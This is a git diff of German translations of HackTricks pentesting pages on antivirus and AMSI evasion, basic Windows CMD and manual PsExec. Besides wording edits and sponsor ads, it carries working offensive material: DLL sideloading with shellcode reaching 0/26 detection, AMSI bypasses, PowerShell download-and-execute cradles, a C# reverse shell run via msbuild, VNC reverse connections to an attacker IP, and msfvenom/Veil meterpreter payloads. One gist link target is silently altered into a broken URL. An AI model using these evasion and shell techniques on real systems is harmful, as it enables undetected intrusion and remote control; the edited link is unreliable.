Wie wir in diesem Bild sehen können, hat eine DLL-Payload von Havoc eine Erkennungsrate von 4/26 in antiscan.me, während die EXE-Payload eine Erkennungsrate von 7/26 hat.
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1130).png" alt=""><figcaption><p>antiscan.me Vergleich einer normalen Havoc EXE-Payload vs einer normalen Havoc DLL</p></figcaption></figure>
|
||||
|
||||
|
@ -81,7 +87,7 @@ Jetzt zeigen wir einige Tricks, die du mit DLL-Dateien verwenden kannst, um viel
|
|||
|
||||
## DLL Sideloading & Proxying
|
||||
|
||||
**DLL Sideloading** nutzt die von dem Loader verwendete DLL-Suchreihenfolge aus, indem sowohl die Zielanwendung als auch die bösartigen Payload(s) nebeneinander positioniert werden.
|
||||
**DLL Sideloading** nutzt die DLL-Suchreihenfolge aus, die vom Loader verwendet wird, indem sowohl die Zielanwendung als auch die bösartigen Payload(s) nebeneinander positioniert werden.
|
||||
|
||||
Du kannst nach Programmen suchen, die anfällig für DLL Sideloading sind, indem du [Siofra](https://github.com/Cybereason/siofra) und das folgende PowerShell-Skript verwendest:
|
||||
|
||||
|
@ -96,11 +102,11 @@ C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hija
|
|||
|
||||
Dieser Befehl gibt die Liste der Programme aus, die anfällig für DLL-Hijacking in "C:\Program Files\\" sind, sowie die DLL-Dateien, die sie zu laden versuchen.
|
||||
|
||||
Ich empfehle Ihnen dringend, **DLL-hijackbare/sideloadbare Programme selbst zu erkunden**. Diese Technik ist ziemlich stealthy, wenn sie richtig durchgeführt wird, aber wenn Sie öffentlich bekannte DLL-sideloadbare Programme verwenden, könnten Sie leicht erwischt werden.
|
||||
Ich empfehle dringend, dass Sie **DLL-hijackbare/sideloadbare Programme selbst erkunden**. Diese Technik ist ziemlich stealthy, wenn sie richtig durchgeführt wird, aber wenn Sie öffentlich bekannte DLL-sideloadbare Programme verwenden, könnten Sie leicht erwischt werden.
|
||||
|
||||
Allein durch das Platzieren einer bösartigen DLL mit dem Namen, den ein Programm erwartet zu laden, wird Ihre Payload nicht geladen, da das Programm einige spezifische Funktionen innerhalb dieser DLL erwartet. Um dieses Problem zu beheben, verwenden wir eine andere Technik namens **DLL-Proxying/Forwarding**.
|
||||
Allein durch das Platzieren einer bösartigen DLL mit dem Namen, den ein Programm erwartet zu laden, wird Ihr Payload nicht geladen, da das Programm einige spezifische Funktionen innerhalb dieser DLL erwartet. Um dieses Problem zu beheben, verwenden wir eine andere Technik namens **DLL-Proxying/Forwarding**.
|
||||
|
||||
**DLL-Proxying** leitet die Aufrufe, die ein Programm von der Proxy- (und bösartigen) DLL an die ursprüngliche DLL macht, weiter und bewahrt so die Funktionalität des Programms und kann die Ausführung Ihrer Payload handhaben.
|
||||
**DLL-Proxying** leitet die Aufrufe, die ein Programm von der Proxy- (und bösartigen) DLL an die ursprüngliche DLL macht, weiter, wodurch die Funktionalität des Programms erhalten bleibt und die Ausführung Ihres Payloads gehandhabt werden kann.
|
||||
|
||||
Ich werde das [SharpDLLProxy](https://github.com/Flangvik/SharpDllProxy) Projekt von [@flangvik](https://twitter.com/Flangvik/) verwenden.
|
||||
|
||||
|
@ -129,12 +135,12 @@ Dies sind die Ergebnisse:
|
|||
|
||||
<figure><img src="../.gitbook/assets/dll_sideloading_demo.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Sowohl unser Shellcode (kodiert mit [SGN](https://github.com/EgeBalci/sgn)) als auch die Proxy-DLL haben eine 0/26 Erkennungsrate in [antiscan.me](https://antiscan.me)! Ich würde das als Erfolg bezeichnen.
|
||||
Sowohl unser Shellcode (kodiert mit [SGN](https://github.com/EgeBalci/sgn)) als auch die Proxy-DLL haben eine Erkennungsrate von 0/26 in [antiscan.me](https://antiscan.me)! Ich würde das als Erfolg bezeichnen.
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (193).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% hint style="info" %}
|
||||
Ich **empfehle dringend**, dass Sie [S3cur3Th1sSh1t's twitch VOD](https://www.twitch.tv/videos/1644171543) über DLL Sideloading ansehen und auch [ippsec's Video](https://www.youtube.com/watch?v=3eROsG\_WNpE), um mehr über das, was wir ausführlicher besprochen haben, zu erfahren.
|
||||
Ich **empfehle dringend**, dass Sie [S3cur3Th1sSh1t's twitch VOD](https://www.twitch.tv/videos/1644171543) über DLL Sideloading ansehen und auch [ippsec's Video](https://www.youtube.com/watch?v=3eROsG_WNpE), um mehr über das, was wir ausführlicher besprochen haben, zu erfahren.
|
||||
{% endhint %}
|
||||
|
||||
## [**Freeze**](https://github.com/optiv/Freeze)
|
||||
|
@ -151,12 +157,12 @@ Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freez
|
|||
<figure><img src="../.gitbook/assets/freeze_demo_hacktricks.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% hint style="info" %}
|
||||
Evasion ist nur ein Katz-und-Maus-Spiel, was heute funktioniert, könnte morgen erkannt werden, also verlasse dich niemals nur auf ein Werkzeug. Wenn möglich, versuche, mehrere Evasionstechniken zu kombinieren.
|
||||
Evasion ist nur ein Katz-und-Maus-Spiel, was heute funktioniert, könnte morgen erkannt werden, also verlasse dich niemals nur auf ein Werkzeug, wenn möglich, versuche mehrere Evasionstechniken zu kombinieren.
|
||||
{% endhint %}
|
||||
|
||||
## AMSI (Anti-Malware Scan Interface)
|
||||
|
||||
AMSI wurde geschaffen, um "[dateilose Malware](https://en.wikipedia.org/wiki/Fileless\_malware)" zu verhindern. Zunächst waren AVs nur in der Lage, **Dateien auf der Festplatte** zu scannen, sodass, wenn du es irgendwie schaffen konntest, Payloads **direkt im Speicher** auszuführen, der AV nichts tun konnte, um dies zu verhindern, da er nicht genügend Sichtbarkeit hatte.
|
||||
AMSI wurde geschaffen, um "[fileless malware](https://en.wikipedia.org/wiki/Fileless\_malware)" zu verhindern. Zunächst waren AVs nur in der Lage, **Dateien auf der Festplatte** zu scannen, also wenn du es irgendwie schaffen konntest, Payloads **direkt im Speicher** auszuführen, konnte der AV nichts tun, um dies zu verhindern, da er nicht genügend Sichtbarkeit hatte.
|
||||
|
||||
Die AMSI-Funktion ist in diese Komponenten von Windows integriert.
|
||||
|
||||
|
@ -168,11 +174,11 @@ Die AMSI-Funktion ist in diese Komponenten von Windows integriert.
|
|||
|
||||
Es ermöglicht Antivirenlösungen, das Verhalten von Skripten zu inspizieren, indem der Skriptinhalt in einer Form offengelegt wird, die sowohl unverschlüsselt als auch nicht obfuskiert ist.
|
||||
|
||||
Die Ausführung von `IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')` wird den folgenden Alarm bei Windows Defender erzeugen.
|
||||
Die Ausführung von `IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')` wird den folgenden Alarm auf Windows Defender erzeugen.
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1135).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Beachte, wie es `amsi:` voranstellt und dann den Pfad zur ausführbaren Datei angibt, von der das Skript ausgeführt wurde, in diesem Fall powershell.exe.
|
||||
Beachte, wie es `amsi:` voranstellt und dann den Pfad zur ausführbaren Datei, von der das Skript ausgeführt wurde, in diesem Fall powershell.exe.
|
||||
|
||||
Wir haben keine Datei auf die Festplatte geschrieben, wurden aber trotzdem im Speicher aufgrund von AMSI erwischt.
|
||||
|
||||
|
@ -182,15 +188,15 @@ Es gibt ein paar Möglichkeiten, um AMSI zu umgehen:
|
|||
|
||||
Da AMSI hauptsächlich mit statischen Erkennungen arbeitet, kann das Modifizieren der Skripte, die du zu laden versuchst, eine gute Möglichkeit sein, um Erkennung zu umgehen.
|
||||
|
||||
Allerdings hat AMSI die Fähigkeit, Skripte zu deobfuskieren, selbst wenn sie mehrere Schichten haben, sodass Obfuskation je nach Ausführung eine schlechte Option sein könnte. Das macht es nicht so einfach, zu entkommen. Manchmal musst du jedoch nur ein paar Variablennamen ändern, und es wird funktionieren, also hängt es davon ab, wie stark etwas markiert wurde.
|
||||
Allerdings hat AMSI die Fähigkeit, Skripte zu deobfuskieren, selbst wenn sie mehrere Schichten haben, sodass Obfuskation je nach Ausführung eine schlechte Option sein könnte. Das macht es nicht so einfach, zu entkommen. Obwohl manchmal alles, was du tun musst, darin besteht, ein paar Variablennamen zu ändern, und du bist auf der sicheren Seite, also hängt es davon ab, wie stark etwas markiert wurde.
|
||||
|
||||
* **AMSI Bypass**
|
||||
|
||||
Da AMSI implementiert ist, indem eine DLL in den PowerShell (auch cscript.exe, wscript.exe usw.) Prozess geladen wird, ist es möglich, damit leicht zu manipulieren, selbst wenn man als unprivilegierter Benutzer läuft. Aufgrund dieses Fehlers in der Implementierung von AMSI haben Forscher mehrere Möglichkeiten gefunden, um das AMSI-Scanning zu umgehen.
|
||||
Da AMSI implementiert ist, indem eine DLL in den PowerShell (auch cscript.exe, wscript.exe usw.) Prozess geladen wird, ist es möglich, damit einfach zu manipulieren, selbst wenn man als unprivilegierter Benutzer läuft. Aufgrund dieses Fehlers in der Implementierung von AMSI haben Forscher mehrere Möglichkeiten gefunden, um AMSI-Scans zu umgehen.
|
||||
|
||||
**Einen Fehler erzwingen**
|
||||
|
||||
Das Erzwingen des Fehlers bei der AMSI-Initialisierung (amsiInitFailed) führt dazu, dass für den aktuellen Prozess kein Scan initiiert wird. Ursprünglich wurde dies von [Matt Graeber](https://twitter.com/mattifestation) offengelegt, und Microsoft hat eine Signatur entwickelt, um eine breitere Nutzung zu verhindern.
|
||||
Das Erzwingen des Fehlers bei der AMSI-Initialisierung (amsiInitFailed) führt dazu, dass kein Scan für den aktuellen Prozess initiiert wird. Ursprünglich wurde dies von [Matt Graeber](https://twitter.com/mattifestation) offengelegt und Microsoft hat eine Signatur entwickelt, um eine breitere Nutzung zu verhindern.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```powershell
|
||||
|
@ -198,7 +204,7 @@ Das Erzwingen des Fehlers bei der AMSI-Initialisierung (amsiInitFailed) führt d
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
Alles, was nötig war, war eine Zeile PowerShell-Code, um AMSI für den aktuellen PowerShell-Prozess unbrauchbar zu machen. Diese Zeile wurde natürlich von AMSI selbst markiert, daher sind einige Änderungen erforderlich, um diese Technik zu verwenden.
|
||||
Alles, was nötig war, war eine Zeile PowerShell-Code, um AMSI für den aktuellen PowerShell-Prozess unbrauchbar zu machen. Diese Zeile wurde natürlich von AMSI selbst markiert, daher sind einige Modifikationen erforderlich, um diese Technik zu verwenden.
|
||||
|
||||
Hier ist ein modifizierter AMSI-Bypass, den ich aus diesem [Github Gist](https://gist.github.com/r00t-3xp10it/a0c6a368769eec3d3255d4814802b5db) entnommen habe.
|
||||
```powershell
|
||||
|
@ -226,14 +232,14 @@ Bitte lies [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamou
|
|||
|
||||
Es gibt auch viele andere Techniken, die verwendet werden, um AMSI mit PowerShell zu umgehen. Schau dir [**diese Seite**](basic-powershell-for-pentesters/#amsi-bypass) und [dieses Repo](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell) an, um mehr darüber zu erfahren.
|
||||
|
||||
Oder dieses Skript, das über Memory Patching jede neue Powershell patcht.
|
||||
Oder dieses Skript, das über Memory Patching jede neue Powersh patcht.
|
||||
|
||||
## Obfuscation
|
||||
|
||||
Es gibt mehrere Tools, die verwendet werden können, um **C# Klartextcode zu obfuskieren**, **Metaprogrammierungsvorlagen** zu generieren, um Binärdateien zu kompilieren oder **kompilierte Binärdateien zu obfuskieren**, wie zum Beispiel:
|
||||
|
||||
* [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: C# Obfuscator**
|
||||
* [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): Ziel dieses Projekts ist es, einen Open-Source-Fork der [LLVM](http://www.llvm.org/) Kompilierungssuite bereitzustellen, der erhöhte Software-Sicherheit durch [Code-Obfuskation](http://en.wikipedia.org/wiki/Obfuscation\_\(software\)) und Manipulationssicherheit bietet.
|
||||
* [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): Ziel dieses Projekts ist es, einen Open-Source-Fork der [LLVM](http://www.llvm.org/) Kompilierungs-Suite bereitzustellen, der erhöhte Software-Sicherheit durch [Code-Obfuskation](http://en.wikipedia.org/wiki/Obfuscation\_\(software\)) und Manipulationssicherheit bietet.
|
||||
* [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator demonstriert, wie man die Sprache `C++11/14` verwendet, um zur Compile-Zeit obfuskierten Code zu generieren, ohne externe Tools zu verwenden und ohne den Compiler zu modifizieren.
|
||||
* [**obfy**](https://github.com/fritzone/obfy): Fügt eine Schicht obfuskierten Operationen hinzu, die durch das C++-Template-Metaprogrammierungs-Framework generiert werden, was das Leben der Person, die die Anwendung knacken möchte, ein wenig schwieriger macht.
|
||||
* [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz ist ein x64-Binär-Obfuscator, der in der Lage ist, verschiedene PE-Dateien zu obfuskieren, einschließlich: .exe, .dll, .sys
|
||||
|
@ -244,7 +250,7 @@ Es gibt mehrere Tools, die verwendet werden können, um **C# Klartextcode zu obf
|
|||
|
||||
## SmartScreen & MoTW
|
||||
|
||||
Du hast vielleicht diesen Bildschirm gesehen, als du einige ausführbare Dateien aus dem Internet heruntergeladen und ausgeführt hast.
|
||||
Du hast diesen Bildschirm vielleicht gesehen, als du einige ausführbare Dateien aus dem Internet heruntergeladen und ausgeführt hast.
|
||||
|
||||
Microsoft Defender SmartScreen ist ein Sicherheitsmechanismus, der dazu dient, den Endbenutzer vor dem Ausführen potenziell schädlicher Anwendungen zu schützen.
|
||||
|
||||
|
@ -296,7 +302,7 @@ Hier ist eine Demo zum Umgehen von SmartScreen, indem Payloads in ISO-Dateien ve
|
|||
|
||||
Das Laden von C#-Binaries im Speicher ist schon seit einiger Zeit bekannt und es ist immer noch eine sehr gute Möglichkeit, Ihre Post-Exploitation-Tools auszuführen, ohne von AV erwischt zu werden.
|
||||
|
||||
Da die Payload direkt in den Speicher geladen wird, ohne die Festplatte zu berühren, müssen wir uns nur um das Patchen von AMSI für den gesamten Prozess kümmern.
|
||||
Da das Payload direkt in den Speicher geladen wird, ohne die Festplatte zu berühren, müssen wir uns nur um das Patchen von AMSI für den gesamten Prozess kümmern.
|
||||
|
||||
Die meisten C2-Frameworks (sliver, Covenant, metasploit, CobaltStrike, Havoc usw.) bieten bereits die Möglichkeit, C#-Assemblies direkt im Speicher auszuführen, aber es gibt verschiedene Möglichkeiten, dies zu tun:
|
||||
|
||||
|
@ -308,7 +314,7 @@ Es beinhaltet **das Erzeugen eines neuen opfernden Prozesses**, injizieren Sie I
|
|||
|
||||
* **Inline**
|
||||
|
||||
Es geht darum, den post-exploitation schädlichen Code **in seinen eigenen Prozess** zu injizieren. Auf diese Weise können Sie vermeiden, einen neuen Prozess zu erstellen und ihn von AV scannen zu lassen, aber der Nachteil ist, dass, wenn etwas mit der Ausführung Ihrer Payload schiefgeht, die **Wahrscheinlichkeit** viel größer ist, dass Sie **Ihr Beacon verlieren**, da es abstürzen könnte.
|
||||
Es geht darum, den post-exploitation schädlichen Code **in seinen eigenen Prozess** zu injizieren. Auf diese Weise können Sie vermeiden, einen neuen Prozess zu erstellen und ihn von AV scannen zu lassen, aber der Nachteil ist, dass, wenn etwas mit der Ausführung Ihres Payloads schiefgeht, die **Wahrscheinlichkeit** viel größer ist, dass Sie **Ihr Beacon verlieren**, da es abstürzen könnte.
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1136).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -320,7 +326,7 @@ Sie können auch C#-Assemblies **aus PowerShell** laden, schauen Sie sich [Invok
|
|||
|
||||
## Verwendung anderer Programmiersprachen
|
||||
|
||||
Wie in [**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins) vorgeschlagen, ist es möglich, schädlichen Code mit anderen Sprachen auszuführen, indem man der kompromittierten Maschine Zugang **zur Interpreterumgebung auf dem vom Angreifer kontrollierten SMB-Share** gewährt.
|
||||
Wie in [**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins) vorgeschlagen, ist es möglich, schädlichen Code mit anderen Sprachen auszuführen, indem man der kompromittierten Maschine Zugriff **auf die Interpreterumgebung gewährt, die auf dem vom Angreifer kontrollierten SMB-Share installiert ist**.
|
||||
|
||||
Indem Sie den Zugriff auf die Interpreter-Binaries und die Umgebung auf dem SMB-Share erlauben, können Sie **beliebigen Code in diesen Sprachen im Speicher** der kompromittierten Maschine **ausführen**.
|
||||
|
||||
|
@ -368,13 +374,13 @@ Laden Sie es herunter von: [http://www.uvnc.com/downloads/ultravnc.html](http://
|
|||
|
||||
**AUF DEM HOST**: Führen Sie _**winvnc.exe**_ aus und konfigurieren Sie den Server:
|
||||
|
||||
* Aktivieren Sie die Option _TrayIcon deaktivieren_
|
||||
* Setzen Sie ein Passwort in _VNC-Passwort_
|
||||
* Setzen Sie ein Passwort in _Nur-Anzeige-Passwort_
|
||||
* Aktivieren Sie die Option _Disable TrayIcon_
|
||||
* Setzen Sie ein Passwort in _VNC Password_
|
||||
* Setzen Sie ein Passwort in _View-Only Password_
|
||||
|
||||
Verschieben Sie dann die Binärdatei _**winvnc.exe**_ und die **neu** erstellte Datei _**UltraVNC.ini**_ in die **Opfer**
|
||||
|
||||
#### **Rückverbindung**
|
||||
#### **Reverse-Verbindung**
|
||||
|
||||
Der **Angreifer** sollte **innerhalb** seines **Hosts** die Binärdatei `vncviewer.exe -listen 5900` ausführen, damit sie **vorbereitet** ist, eine umgekehrte **VNC-Verbindung** zu empfangen. Dann, innerhalb des **Opfers**: Starten Sie den winvnc-Daemon `winvnc.exe -run` und führen Sie `winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900` aus.
|
||||
|
||||
|
@ -414,7 +420,7 @@ C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe payload.xml
|
|||
|
||||
https://medium.com/@Bank\_Security/undetectable-c-c-reverse-shells-fab4c0ec4f15
|
||||
|
||||
#### Erste C# Reverse Shell
|
||||
#### Erste C# Revershell
|
||||
|
||||
Kompilieren Sie es mit:
|
||||
```
|
||||
|
@ -497,11 +503,11 @@ catch (Exception err) { }
|
|||
}
|
||||
}
|
||||
```
|
||||
### C# Compiler verwenden
|
||||
### C# unter Verwendung des Compilers
|
||||
```
|
||||
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt.txt REV.shell.txt
|
||||
```
|
||||
[REV.txt: https://gist.github.com/BankSecurity/812060a13e57c815abe21ef04857b066](https://gist.github.com/BankSecurity/812060a13e57c815abe21ef04857b066)
|
||||
[REV.txt: https://gist.github.com/BankSecurity/812060a13e57c815abe21ef04857b066](https://gist.github.com/BankSecurity/812060a13e57b815abe21ef04857b066)
|
||||
|
||||
[REV.shell: https://gist.github.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639](https://gist.github.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639)
|
||||
|
||||
|
@ -515,7 +521,7 @@ powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.g
|
|||
```
|
||||
{% embed url="https://gist.github.com/BankSecurity/469ac5f9944ed1b8c39129dc0037bb8f" %}
|
||||
|
||||
C# Obfuskatorenliste: [https://github.com/NotPrab/.NET-Obfuscator](https://github.com/NotPrab/.NET-Obfuscator)
|
||||
C# Obfuskatoren Liste: [https://github.com/NotPrab/.NET-Obfuscator](https://github.com/NotPrab/.NET-Obfuscator)
|
||||
|
||||
### C++
|
||||
```
|
||||
|
@ -563,17 +569,23 @@ https://github.com/praetorian-code/vulcan
|
|||
|
||||
* [https://github.com/persianhydra/Xeexe-TopAntivirusEvasion](https://github.com/persianhydra/Xeexe-TopAntivirusEvasion)
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Wenn Sie an einer **Hacking-Karriere** interessiert sind und das Unhackbare hacken möchten - **wir stellen ein!** (_fließend Polnisch in Wort und Schrift erforderlich_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Unterstütze HackTricks</summary>
|
||||
<summary>HackTricks unterstützen</summary>
|
||||
|
||||
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
|
||||
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# Basic Win CMD for Pentesters
|
||||
# Grundlegende Win CMD für Pentester
|
||||
|
||||
{% hint style="success" %}
|
||||
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
@ -6,7 +6,7 @@ Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data
|
|||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>Unterstützen Sie HackTricks</summary>
|
||||
|
||||
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
@ -15,7 +15,15 @@ Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Systeminfo
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Erhalten Sie die Perspektive eines Hackers auf Ihre Webanwendungen, Ihr Netzwerk und die Cloud
|
||||
|
||||
**Finden und melden Sie kritische, ausnutzbare Schwachstellen mit echtem Geschäftsauswirkungen.** Verwenden Sie unsere 20+ benutzerdefinierten Tools, um die Angriffsfläche zu kartieren, Sicherheitsprobleme zu finden, die Ihnen ermöglichen, Privilegien zu eskalieren, und nutzen Sie automatisierte Exploits, um wesentliche Beweise zu sammeln, die Ihre harte Arbeit in überzeugende Berichte verwandeln.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
## Systeminformationen
|
||||
|
||||
### Versions- und Patchinformationen
|
||||
```bash
|
||||
|
@ -42,7 +50,7 @@ Einige Umgebungsvariablen, die hervorgehoben werden sollten:
|
|||
* **USERNAME:** Ihr Benutzername
|
||||
* **HOMEPATH/USERPROFILE:** Heimatverzeichnis
|
||||
* **windir:** C:\Windows
|
||||
* **OS**: Windows OS
|
||||
* **OS**: Windows-Betriebssystem
|
||||
* **LOGONSERVER**: Name des Domänencontrollers
|
||||
* **USERDNSDOMAIN**: Domänenname zur Verwendung mit DNS
|
||||
* **USERDOMAIN**: Name der Domäne
|
||||
|
@ -409,6 +417,15 @@ wmic process call create '"C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfil
|
|||
# Execute a script stored in an ADS using PowerShell
|
||||
powershell -ep bypass - < c:\temp:ttt
|
||||
```
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Erhalten Sie die Perspektive eines Hackers auf Ihre Webanwendungen, Ihr Netzwerk und die Cloud
|
||||
|
||||
**Finden und melden Sie kritische, ausnutzbare Schwachstellen mit echtem Geschäftsauswirkungen.** Verwenden Sie unsere 20+ benutzerdefinierten Tools, um die Angriffsfläche zu kartieren, Sicherheitsprobleme zu finden, die Ihnen ermöglichen, Privilegien zu eskalieren, und nutzen Sie automatisierte Exploits, um wesentliche Beweise zu sammeln, die Ihre harte Arbeit in überzeugende Berichte verwandeln.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
|
|
@ -15,6 +15,10 @@ Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
## Wie funktionieren sie
|
||||
|
||||
Der Prozess wird in den folgenden Schritten skizziert, die veranschaulichen, wie Dienst-Binärdateien manipuliert werden, um eine Remote-Ausführung auf einem Zielcomputer über SMB zu erreichen:
|
||||
|
@ -26,7 +30,7 @@ Der Prozess wird in den folgenden Schritten skizziert, die veranschaulichen, wie
|
|||
|
||||
### **Prozess der manuellen Ausführung von PsExec**
|
||||
|
||||
Angenommen, es gibt eine ausführbare Nutzlast (erstellt mit msfvenom und obfuskiert mit Veil, um die Erkennung durch Antivirenprogramme zu umgehen), die 'met8888.exe' heißt und eine meterpreter reverse_http-Nutzlast darstellt, werden die folgenden Schritte unternommen:
|
||||
Angenommen, es gibt eine ausführbare Payload (erstellt mit msfvenom und obfuskiert mit Veil, um die Erkennung durch Antivirenprogramme zu umgehen), die 'met8888.exe' heißt und eine meterpreter reverse_http Payload darstellt, werden die folgenden Schritte unternommen:
|
||||
|
||||
* **Kopieren der Binärdatei**: Die ausführbare Datei wird von einer Eingabeaufforderung in die ADMIN$-Freigabe kopiert, obwohl sie überall im Dateisystem platziert werden kann, um verborgen zu bleiben.
|
||||
* **Erstellen eines Dienstes**: Mit dem Windows-Befehl `sc`, der das Abfragen, Erstellen und Löschen von Windows-Diensten aus der Ferne ermöglicht, wird ein Dienst namens "meterpreter" erstellt, der auf die hochgeladene Binärdatei verweist.
|
||||
|
@ -36,7 +40,7 @@ Die Beobachtung des Metasploit-Listeners wird zeigen, dass die Sitzung erfolgrei
|
|||
|
||||
[Erfahren Sie mehr über den `sc`-Befehl](https://technet.microsoft.com/en-us/library/bb490995.aspx).
|
||||
|
||||
Finden Sie detailliertere Schritte unter: [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
|
||||
Finden Sie detailliertere Schritte in: [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
|
||||
|
||||
